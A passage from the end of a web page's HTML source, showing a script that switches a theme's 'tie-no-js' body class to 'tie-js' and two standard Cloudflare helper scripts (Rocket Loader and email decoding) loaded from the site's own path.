c.replace(/tie-no-js/, 'tie-js'); document.body.className = c; </script> </body> </html> <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="ae102de834c36f3b8c26e65b-|49" defer></script><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>